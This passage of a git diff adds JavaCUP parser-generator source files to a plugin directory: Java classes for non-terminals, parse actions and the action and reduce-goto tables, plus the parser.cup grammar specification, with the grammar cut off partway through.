from. + */ + static non_terminal create_new(String prefix) throws internal_error + { + if (prefix == null) prefix = "NT$"; + return new non_terminal(prefix + next_nt++); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** static routine for creating a new uniquely named hidden non-terminal */ + static non_terminal create_new() throws internal_error + { + return create_new(null); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute nullability of all non-terminals. */ + public static void compute_nullability() throws internal_error + { + boolean change = true; + non_terminal nt; + Enumeration e; + production prod; + + /* repeat this process until there is no change */ + while (change) + { + /* look for a new change */ + change = false; + + /* consider each non-terminal */ + for (e=all(); e.hasMoreElements(); ) + { + nt = (non_terminal)e.nextElement(); + + /* only look at things that aren't already marked nullable */ + if (!nt.nullable()) + { + if (nt.looks_nullable()) + { + nt._nullable = true; + change = true; + } + } + } + } + + /* do one last pass over the productions to finalize all of them */ + for (e=production.all(); e.hasMoreElements(); ) + { + prod = (production)e.nextElement(); + prod.set_nullable(prod.check_nullable()); + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute first sets for all non-terminals. This assumes nullability has + * already computed. + */ + public static void compute_first_sets() throws internal_error + { + boolean change = true; + Enumeration n; + Enumeration p; + non_terminal nt; + production prod; + terminal_set prod_first; + + /* repeat this process until we have no change */ + while (change) + { + /* look for a new change */ + change = false; + + /* consider each non-terminal */ + for (n = all(); n.hasMoreElements(); ) + { + nt = (non_terminal)n.nextElement(); + + /* consider every production of that non terminal */ + for (p = nt.productions(); p.hasMoreElements(); ) + { + prod = (production)p.nextElement(); + + /* get the updated first of that production */ + prod_first = prod.check_first_set(); + + /* if this going to add anything, add it */ + if (!prod_first.is_subset_of(nt._first_set)) + { + change = true; + nt._first_set.add(prod_first); + } + } + } + } + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Table of all productions with this non terminal on the LHS. */ + protected Hashtable _productions = new Hashtable(11); + + /** Access to productions with this non terminal on the LHS. */ + public Enumeration productions() {return _productions.elements();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Total number of productions with this non terminal on the LHS. */ + public int num_productions() {return _productions.size();} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Add a production to our set of productions. */ + public void add_production(production prod) throws internal_error + { + /* catch improper productions */ + if (prod == null || prod.lhs() == null || prod.lhs().the_symbol() != this) + throw new internal_error( + "Attempt to add invalid production to non terminal production table"); + + /* add it to the table, keyed with itself */ + _productions.put(prod,prod); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Nullability of this non terminal. */ + protected boolean _nullable; + + /** Nullability of this non terminal. */ + public boolean nullable() {return _nullable;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** First set for this non-terminal. */ + protected terminal_set _first_set = new terminal_set(); + + /** First set for this non-terminal. */ + public terminal_set first_set() {return _first_set;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Indicate that this symbol is a non-terminal. */ + public boolean is_non_term() + { + return true; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Test to see if this non terminal currently looks nullable. */ + protected boolean looks_nullable() throws internal_error + { + /* look and see if any of the productions now look nullable */ + for (Enumeration e = productions(); e.hasMoreElements(); ) + /* if the production can go to empty, we are nullable */ + if (((production)e.nextElement()).check_nullable()) + return true; + + /* none of the productions can go to empty, so we are not nullable */ + return false; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** convert to string */ + public String toString() + { + return super.toString() + "[" + index() + "]" + (nullable() ? "*" : ""); + } + + /*-----------------------------------------------------------*/ +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/nonassoc_action.java b/base_plugins/net.heartsome.xml/src/java_cup/nonassoc_action.java new file mode 100644 index 0000000..342b1d6 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/nonassoc_action.java @@ -0,0 +1,71 @@ + +package java_cup; + +/** This class represents a shift/reduce nonassociative error within the + * parse table. If action_table element is assign to type + * nonassoc_action, it cannot be changed, and signifies that there + * is a conflict between shifting and reducing a production and a + * terminal that shouldn't be next to each other. + * + * @version last updated: 7/2/96 + * @author Frank Flannery + */ +public class nonassoc_action extends parse_action { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. + */ + public nonassoc_action() throws internal_error + { + /* don't need to set anything, since it signifies error */ + } + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Quick access to type of action. */ + public int kind() {return NONASSOC;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality test. */ + public boolean equals(parse_action other) + { + return other != null && other.kind() == NONASSOC; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality test. */ + public boolean equals(Object other) + { + if (other instanceof parse_action) + return equals((parse_action)other); + else + return false; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute a hash code. */ + public int hashCode() + { + /* all objects of this class hash together */ + return 0xCafe321; + } + + + + /** Convert to string. */ + public String toString() + { + return "NONASSOC"; + } + + /*-----------------------------------------------------------*/ + +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parse_action.java b/base_plugins/net.heartsome.xml/src/java_cup/parse_action.java new file mode 100644 index 0000000..3a5bdb9 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parse_action.java @@ -0,0 +1,92 @@ + +package java_cup; + +/** This class serves as the base class for entries in a parse action table. + * Full entries will either be SHIFT(state_num), REDUCE(production), NONASSOC, + * or ERROR. Objects of this base class will default to ERROR, while + * the other three types will be represented by subclasses. + * + * @see java_cup.reduce_action + * @see java_cup.shift_action + * @version last updated: 7/2/96 + * @author Frank Flannery + */ + +public class parse_action { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. */ + public parse_action() + { + /* nothing to do in the base class */ + } + + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Constant for action type -- error action. */ + public static final int ERROR = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constant for action type -- shift action. */ + public static final int SHIFT = 1; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constants for action type -- reduce action. */ + public static final int REDUCE = 2; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Constants for action type -- reduce action. */ + public static final int NONASSOC = 3; + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Quick access to the type -- base class defaults to error. */ + public int kind() {return ERROR;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Equality test. */ + public boolean equals(parse_action other) + { + /* we match all error actions */ + return other != null && other.kind() == ERROR; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Generic equality test. */ + public boolean equals(Object other) + { + if (other instanceof parse_action) + return equals((parse_action)other); + else + return false; + } + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Compute a hash code. */ + public int hashCode() + { + /* all objects of this class hash together */ + return 0xCafe123; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Convert to string. */ + public String toString() {return "ERROR";} + + /*-----------------------------------------------------------*/ +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parse_action_row.java b/base_plugins/net.heartsome.xml/src/java_cup/parse_action_row.java new file mode 100644 index 0000000..52aeda9 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parse_action_row.java @@ -0,0 +1,106 @@ + +package java_cup; + +/** This class represents one row (corresponding to one machine state) of the + * parse action table. + */ +public class parse_action_row { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. Note: this should not be used until the number of + * terminals in the grammar has been established. + */ + public parse_action_row() + { + /* make sure the size is set */ + if (_size <= 0 ) _size = terminal.number(); + + /* allocate the array */ + under_term = new parse_action[size()]; + + /* set each element to an error action */ + for (int i=0; i<_size; i++) + under_term[i] = new parse_action(); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Number of columns (terminals) in every row. */ + protected static int _size = 0; + + /** Number of columns (terminals) in every row. */ + public static int size() {return _size;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Table of reduction counts (reused by compute_default()). */ + protected static int reduction_count[] = null; + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Actual action entries for the row. */ + public parse_action under_term[]; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Default (reduce) action for this row. -1 will represent default + * of error. + */ + public int default_reduce; + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Compute the default (reduce) action for this row and store it in + * default_reduce. In the case of non-zero default we will have the + * effect of replacing all errors by that reduction. This may cause + * us to do erroneous reduces, but will never cause us to shift past + * the point of the error and never cause an incorrect parse. -1 will + * be used to encode the fact that no reduction can be used as a + * default (in which case error will be used). + */ + public void compute_default() + { + int i, prod, max_prod, max_red; + + /* if we haven't allocated the count table, do so now */ + if (reduction_count == null) + reduction_count = new int[production.number()]; + + /* clear the reduction count table and maximums */ + for (i = 0; i < production.number(); i++) + reduction_count[i] = 0; + max_prod = -1; + max_red = 0; + + /* walk down the row and look at the reduces */ + for (i = 0; i < size(); i++) + if (under_term[i].kind() == parse_action.REDUCE) + { + /* count the reduce in the proper production slot and keep the + max up to date */ + prod = ((reduce_action)under_term[i]).reduce_with().index(); + reduction_count[prod]++; + if (reduction_count[prod] > max_red) + { + max_red = reduction_count[prod]; + max_prod = prod; + } + } + + /* record the max as the default (or -1 for not found) */ + default_reduce = max_prod; + } + + /*-----------------------------------------------------------*/ + +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parse_action_table.java b/base_plugins/net.heartsome.xml/src/java_cup/parse_action_table.java new file mode 100644 index 0000000..11cb49d --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parse_action_table.java @@ -0,0 +1,143 @@ + +package java_cup; + +import java.util.Enumeration; + +/** This class represents the complete "action" table of the parser. + * It has one row for each state in the parse machine, and a column for + * each terminal symbol. Each entry in the table represents a shift, + * reduce, or an error. + * + * @see java_cup.parse_action + * @see java_cup.parse_action_row + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class parse_action_table { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. All terminals, non-terminals, and productions must + * already have been entered, and the viable prefix recognizer should + * have been constructed before this is called. + */ + public parse_action_table() + { + /* determine how many states we are working with */ + _num_states = lalr_state.number(); + + /* allocate the array and fill it in with empty rows */ + under_state = new parse_action_row[_num_states]; + for (int i=0; i<_num_states; i++) + under_state[i] = new parse_action_row(); + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** How many rows/states are in the machine/table. */ + protected int _num_states; + + /** How many rows/states are in the machine/table. */ + public int num_states() {return _num_states;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Actual array of rows, one per state. */ + public parse_action_row[] under_state; + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Check the table to ensure that all productions have been reduced. + * Issue a warning message (to System.err) for each production that + * is never reduced. + */ + public void check_reductions() + throws internal_error + { + parse_action act; + production prod; + + /* tabulate reductions -- look at every table entry */ + for (int row = 0; row < num_states(); row++) + { + for (int col = 0; col < under_state[row].size(); col++) + { + /* look at the action entry to see if its a reduce */ + act = under_state[row].under_term[col]; + if (act != null && act.kind() == parse_action.REDUCE) + { + /* tell production that we used it */ + ((reduce_action)act).reduce_with().note_reduction_use(); + } + } + } + + /* now go across every production and make sure we hit it */ + for (Enumeration p = production.all(); p.hasMoreElements(); ) + { + prod = (production)p.nextElement(); + + /* if we didn't hit it give a warning */ + if (prod.num_reductions() == 0) + { + /* count it * + emit.not_reduced++; + + /* give a warning if they haven't been turned off */ + if (!emit.nowarn) + { + System.err.println("*** Production \"" + + prod.to_simple_string() + "\" never reduced"); + lexer.warning_count++; + } + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .* + + /** Convert to a string. */ + public String toString() + { + String result; + int cnt; + + result = "-------- ACTION_TABLE --------\n"; + for (int row = 0; row < num_states(); row++) + { + result += "From state #" + row + "\n"; + cnt = 0; + for (int col = 0; col < under_state[row].size(); col++) + { + /* if the action is not an error print it */ + if (under_state[row].under_term[col].kind() != parse_action.ERROR) + { + result += " [term " + col + ":" + under_state[row].under_term[col] + "]"; + + /* end the line after the 2nd one */ + cnt++; + if (cnt == 2) + { + result += "\n"; + cnt = 0; + } + } + } + /* finish the line if we haven't just done that */ + if (cnt != 0) result += "\n"; + } + result += "------------------------------"; + + return result; + } + + /*-----------------------------------------------------------*/ + +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parse_reduce_row.java b/base_plugins/net.heartsome.xml/src/java_cup/parse_reduce_row.java new file mode 100644 index 0000000..c7ea9a7 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parse_reduce_row.java @@ -0,0 +1,41 @@ + +package java_cup; + +/** This class represents one row (corresponding to one machine state) of the + * reduce-goto parse table. + */ +public class parse_reduce_row { + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. Note: this should not be used until the number + * of terminals in the grammar has been established. + */ + public parse_reduce_row() + { + /* make sure the size is set */ + if (_size <= 0 ) _size = non_terminal.number(); + + /* allocate the array */ + under_non_term = new lalr_state[size()]; + } + + /*-----------------------------------------------------------*/ + /*--- (Access to) Static (Class) Variables ------------------*/ + /*-----------------------------------------------------------*/ + + /** Number of columns (non terminals) in every row. */ + protected static int _size = 0; + + /** Number of columns (non terminals) in every row. */ + public static int size() {return _size;} + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** Actual entries for the row. */ + public lalr_state under_non_term[]; +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parse_reduce_table.java b/base_plugins/net.heartsome.xml/src/java_cup/parse_reduce_table.java new file mode 100644 index 0000000..426d40e --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parse_reduce_table.java @@ -0,0 +1,99 @@ + +package java_cup; + +import java.util.Enumeration; + +/** This class represents the complete "reduce-goto" table of the parser. + * It has one row for each state in the parse machines, and a column for + * each terminal symbol. Each entry contains a state number to shift to + * as the last step of a reduce. + * + * @see java_cup.parse_reduce_row + * @version last updated: 11/25/95 + * @author Scott Hudson + */ +public class parse_reduce_table { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Simple constructor. Note: all terminals, non-terminals, and productions + * must already have been entered, and the viable prefix recognizer should + * have been constructed before this is called. + */ + public parse_reduce_table() + { + /* determine how many states we are working with */ + _num_states = lalr_state.number(); + + /* allocate the array and fill it in with empty rows */ + under_state = new parse_reduce_row[_num_states]; + for (int i=0; i<_num_states; i++) + under_state[i] = new parse_reduce_row(); + } + + + /*-----------------------------------------------------------*/ + /*--- (Access to) Instance Variables ------------------------*/ + /*-----------------------------------------------------------*/ + + /** How many rows/states in the machine/table. */ + protected int _num_states; + + /** How many rows/states in the machine/table. */ + public int num_states() {return _num_states;} + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Actual array of rows, one per state */ + public parse_reduce_row[] under_state; + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Convert to a string. */ + public String toString() + { + String result; + lalr_state goto_st; + int cnt; + + result = "-------- REDUCE_TABLE --------\n"; + for (int row = 0; row < num_states(); row++) + { + result += "From state #" + row + "\n"; + cnt = 0; + for (int col = 0; col < under_state[row].size(); col++) + { + /* pull out the table entry */ + goto_st = under_state[row].under_non_term[col]; + + /* if it has action in it, print it */ + if (goto_st != null) + { + result += " [non term " + col + "->"; + result += "state " + goto_st.index() + "]"; + + /* end the line after the 3rd one */ + cnt++; + if (cnt == 3) + { + result += "\n"; + cnt = 0; + } + } + } + /* finish the line if we haven't just done that */ + if (cnt != 0) result += "\n"; + } + result += "-----------------------------"; + + return result; + } + + /*-----------------------------------------------------------*/ + +} + diff --git a/base_plugins/net.heartsome.xml/src/java_cup/parser.cup b/base_plugins/net.heartsome.xml/src/java_cup/parser.cup new file mode 100644 index 0000000..8af0d05 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/parser.cup @@ -0,0 +1,863 @@ + +/*================================================================*/ +/* + JavaCup Specification for the JavaCup Specification Language + by Scott Hudson, GVU Center, Georgia Tech, August 1995 + and Frank Flannery, Department of Computer Science, Princeton Univ, + July 1996 + Bug Fixes: C. Scott Ananian, Dept of Electrical Engineering, Princeton + University, October 1996. [later Massachusetts Institute of Technology] + + + This JavaCup specification is used to implement JavaCup itself. + It specifies the parser for the JavaCup specification language. + (It also serves as a reasonable example of what a typical JavaCup + spec looks like). + + The specification has the following parts: + Package and import declarations + These serve the same purpose as in a normal Java source file + (and will appear in the generated code for the parser). In this + case we are part of the java_cup package and we import both the + java_cup runtime system and Hashtable from the standard Java + utilities package. + + Action code + This section provides code that is included with the class encapsulating + the various pieces of user code embedded in the grammar (i.e., the + semantic actions). This provides a series of helper routines and + data structures that the semantic actions use. + + Parser code + This section provides code included in the parser class itself. In + this case we override the default error reporting routines. + + Init with and scan with + These sections provide small bits of code that initialize, then + indicate how to invoke the scanner. + + Symbols and grammar + These sections declare all the terminal and non terminal symbols + and the types of objects that they will be represented by at runtime, + then indicate the start symbol of the grammar (), and finally provide + the grammar itself (with embedded actions). + + Operation of the parser + The parser acts primarily by accumulating data structures representing + various parts of the specification. Various small parts (e.g., single + code strings) are stored as static variables of the emit class and + in a few cases as variables declared in the action code section. + Terminals, non terminals, and productions, are maintained as collection + accessible via static methods of those classes. In addition, two + symbol tables are kept: + symbols maintains the name to object mapping for all symbols + non_terms maintains a separate mapping containing only the non terms + + Several intermediate working structures are also declared in the action + code section. These include: rhs_parts, rhs_pos, and lhs_nt which + build up parts of the current production while it is being parsed. + + Author(s) + Scott Hudson, GVU Center, Georgia Tech. + Frank Flannery, Department of Computer Science, Princeton Univ. + C. Scott Ananian, Department of Electrical Engineering, Princeton Univ. + + Revisions + v0.9a First released version [SEH] 8/29/95 + v0.9b Updated for beta language (throws clauses) [SEH] 11/25/95 + v0.10a Made many improvements/changes. now offers: + return value + left/right positions and propagations + cleaner label references + precedence and associativity for terminals + contextual precedence for productions + [FF] 7/3/96 + v0.10b Fixed %prec directive so it works like it's supposed to. + [CSA] 10/10/96 + v0.10g Added support for array types on symbols. + [CSA] 03/23/98 + v0.10i Broaden set of IDs allowed in multipart_id and label_id so + that only java reserved words (and not CUP reserved words like + 'parser' and 'start') are prohibited. Allow reordering of + action code, parser code, init code, and scan with sections, + and made closing semicolon optional for these sections. + Added 'nonterminal' as a terminal symbol, finally fixing a + spelling mistake that's been around since the beginning. + For backwards compatibility, you can still misspell the + word if you like. +*/ +/*================================================================*/ + +package java_cup; +import java_cup.runtime.*; +import java.util.Hashtable; + +/*----------------------------------------------------------------*/ + +action code {: + /** helper routine to clone a new production part adding a given label */ + protected production_part add_lab(production_part part, String lab) + throws internal_error + { + /* if there is no label, or this is an action, just return the original */ + if (lab == null || part.is_action()) return part; + + /* otherwise build a new one with the given label attached */ + return new symbol_part(((symbol_part)part).the_symbol(),lab); + } + + /** max size of right hand side we will support */ + protected final int MAX_RHS = 200; + + /** array for accumulating right hand side parts */ + protected production_part[] rhs_parts = new production_part[MAX_RHS]; + + /** where we are currently in building a right hand side */ + protected int rhs_pos = 0; + + /** start a new right hand side */ + protected void new_rhs() {rhs_pos = 0; } + + /** add a new right hand side part */ + protected void add_rhs_part(production_part part) throws java.lang.Exception + { + if (rhs_pos >= MAX_RHS) + throw new Exception("Internal Error: Productions limited to " + + MAX_RHS + " symbols and actions"); + + rhs_parts[rhs_pos] = part; + rhs_pos++; + } + + /** string to build up multiple part names */ + protected String multipart_name = new String(); + + /** append a new name segment to the accumulated multipart name */ + protected void append_multipart(String name) + { + String dot = ""; + + /* if we aren't just starting out, put on a dot */ + if (multipart_name.length() != 0) dot = "."; + + multipart_name = multipart_name.concat(dot + name); + } + + /** table of declared symbols -- contains production parts indexed by name */ + protected Hashtable symbols = new Hashtable(); + + /** table of just non terminals -- contains non_terminals indexed by name */ + protected Hashtable non_terms = new Hashtable(); + + /** declared start non_terminal */ + protected non_terminal start_nt = null; + + /** left hand side non terminal of the current production */ + protected non_terminal lhs_nt; + + /** Current precedence number */ + int _cur_prec = 0; + + /** Current precedence side */ + int _cur_side = assoc.no_prec; + + /** update the precedences we are declaring */ + protected void update_precedence(int p) { + _cur_side = p; + _cur_prec++; + } + /** add relevant data to terminals */ + protected void add_precedence(String term) { + if (term == null) { + System.err.println("Unable to add precedence to nonexistent terminal"); + } else { + symbol_part sp = (symbol_part)symbols.get(term); + if (sp == null) { + System.err.println("Could find terminal " + term + " while declaring precedence"); + } else { + java_cup.symbol sym = sp.the_symbol(); + if (sym instanceof terminal) + ((terminal)sym).set_precedence(_cur_side, _cur_prec); + else System.err.println("Precedence declaration: Can't find terminal " + term); + } + } + } +:}; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +parser code {: + + /* override error routines */ + + public void report_fatal_error( + String message, + Object info) + { + done_parsing(); + lexer.emit_error(message); + System.err.println("Can't recover from previous error(s), giving up."); + System.exit(1); + } + + public void report_error(String message, Object info) + { + lexer.emit_error(message); + } +:}; + +/*----------------------------------------------------------------*/ + +init with {: lexer.init(); :}; +scan with {: return lexer.next_token(); :}; + +/*----------------------------------------------------------------*/ + +terminal + PACKAGE, IMPORT, CODE, ACTION, PARSER, TERMINAL, NON, INIT, SCAN, WITH, + START, SEMI, COMMA, STAR, DOT, COLON, COLON_COLON_EQUALS, BAR, PRECEDENCE, + LEFT, RIGHT, NONASSOC, PERCENT_PREC, LBRACK, RBRACK, NONTERMINAL; + +terminal String ID, CODE_STRING; + +non terminal + spec, package_spec, import_list, action_code_part, + code_parts, code_part, opt_semi, non_terminal, + parser_code_part, symbol_list, start_spec, production_list, + multipart_id, import_spec, import_id, init_code, scan_code, symbol, + type_id, term_name_list, non_term_name_list, production, prod_part_list, + prod_part, new_term_id, new_non_term_id, rhs_list, rhs, empty, + precedence_list, preced, terminal_list, precedence_l, declares_term, + declares_non_term; + +non terminal String nt_id, symbol_id, label_id, opt_label, terminal_id, + term_id, robust_id; + +/*----------------------------------------------------------------*/ + +start with spec; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +spec ::= + {: + /* declare "error" as a terminal */ + symbols.put("error", new symbol_part(terminal.error)); + + /* declare start non terminal */ + non_terms.put("$START", non_terminal.START_nt); + :} + package_spec + import_list + code_parts + symbol_list + precedence_list + start_spec + production_list + | + /* error recovery assuming something went wrong before symbols + and we have TERMINAL or NON TERMINAL to sync on. if we get + an error after that, we recover inside symbol_list or + production_list + */ + error + symbol_list + precedence_list + start_spec + production_list + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +package_spec ::= + PACKAGE + multipart_id + {: + /* save the package name */ + emit.package_name = multipart_name; + + /* reset the accumulated multipart name */ + multipart_name = new String(); + :} + SEMI + | + empty + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +import_list ::= + import_list + import_spec + | + empty + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +import_spec ::= + IMPORT + import_id + {: + /* save this import on the imports list */ + emit.import_list.push(multipart_name); + + /* reset the accumulated multipart name */ + multipart_name = new String(); + :} + SEMI + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +// allow any order; all parts are optional. [CSA, 23-Jul-1999] +// (we check in the part action to make sure we don't have 2 of any part) +code_part ::= + action_code_part | parser_code_part | init_code | scan_code ; +code_parts ::= + | code_parts code_part; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +action_code_part ::= + ACTION CODE CODE_STRING:user_code opt_semi + {: + if (emit.action_code!=null) + lexer.emit_error("Redundant action code (skipping)"); + else /* save the user included code string */ + emit.action_code = user_code; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +parser_code_part ::= + PARSER CODE CODE_STRING:user_code opt_semi + {: + if (emit.parser_code!=null) + lexer.emit_error("Redundant parser code (skipping)"); + else /* save the user included code string */ + emit.parser_code = user_code; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +init_code ::= + INIT WITH CODE_STRING:user_code opt_semi + {: + if (emit.init_code!=null) + lexer.emit_error("Redundant init code (skipping)"); + else /* save the user code */ + emit.init_code = user_code; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +scan_code ::= + SCAN WITH CODE_STRING:user_code opt_semi + {: + if (emit.scan_code!=null) + lexer.emit_error("Redundant scan code (skipping)"); + else /* save the user code */ + emit.scan_code = user_code; + :} + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +symbol_list ::= symbol_list symbol | symbol; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +symbol ::= + TERMINAL + type_id + declares_term + | + TERMINAL + declares_term + | + non_terminal + type_id + declares_non_term + | + non_terminal + declares_non_term + | + /* error recovery productions -- sync on semicolon */ + + TERMINAL + error + {: + /* reset the accumulated multipart name */ + multipart_name = new String(); + :} + SEMI + | + non_terminal + error + {: + /* reset the accumulated multipart name */ + multipart_name = new String(); + :} + SEMI + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +declares_term ::= + term_name_list + {: + /* reset the accumulated multipart name */ + multipart_name = new String(); + :} + SEMI + ; +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +declares_non_term ::= + non_term_name_list + {: + /* reset the accumulated multipart name */ + multipart_name = new String(); + :} + SEMI + ; +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +term_name_list ::= term_name_list COMMA new_term_id | new_term_id; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +non_term_name_list ::= + non_term_name_list + COMMA + new_non_term_id + | + new_non_term_id + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + + +precedence_list ::= precedence_l | empty; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +precedence_l ::= precedence_l preced | preced; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +preced ::= + PRECEDENCE LEFT + {: + update_precedence(assoc.left); + :} + terminal_list SEMI + | + PRECEDENCE RIGHT + {: + update_precedence(assoc.right); + :} + terminal_list SEMI + | + PRECEDENCE NONASSOC + {: + update_precedence(assoc.nonassoc); + :} + terminal_list SEMI + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +terminal_list ::= terminal_list COMMA terminal_id + | + terminal_id + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +terminal_id ::= term_id:sym + {: + add_precedence(sym); + RESULT = sym; + :}; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +term_id ::= symbol_id:sym + {: + /* check that the symbol_id is a terminal */ + if (symbols.get(sym) == null) + { + /* issue a message */ + lexer.emit_error("Terminal \"" + sym + + "\" has not been declared"); + } + RESULT = sym; + :}; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +start_spec ::= + START WITH nt_id:start_name + {: + /* verify that the name has been declared as a non terminal */ + non_terminal nt = (non_terminal)non_terms.get(start_name); + if (nt == null) + { + lexer.emit_error( "Start non terminal \"" + start_name + + "\" has not been declared"); + } + else + { + /* remember the non-terminal for later */ + start_nt = nt; + + /* build a special start production */ + new_rhs(); + add_rhs_part(add_lab(new symbol_part(start_nt), "start_val")); + add_rhs_part(new symbol_part(terminal.EOF)); + add_rhs_part(new action_part("RESULT = start_val;")); + emit.start_production = + new production(non_terminal.START_nt, rhs_parts, rhs_pos); + new_rhs(); + } + :} + SEMI + | + empty + ; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +production_list ::= production_list production | production; + +/*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . */ + +production ::= + nt_id:lhs_id + {: + /* lookup the lhs nt */ + lhs_nt = (non_terminal)non_terms.get(lhs_id); + + /* if it wasn't declared, emit a message */ + if (lhs_nt == null) + { + if (lexer.error_count == 0) + lexer.emit_error("LHS non terminal \"" + lhs_id + + "\" has not been declared"); + } + + /* reset the 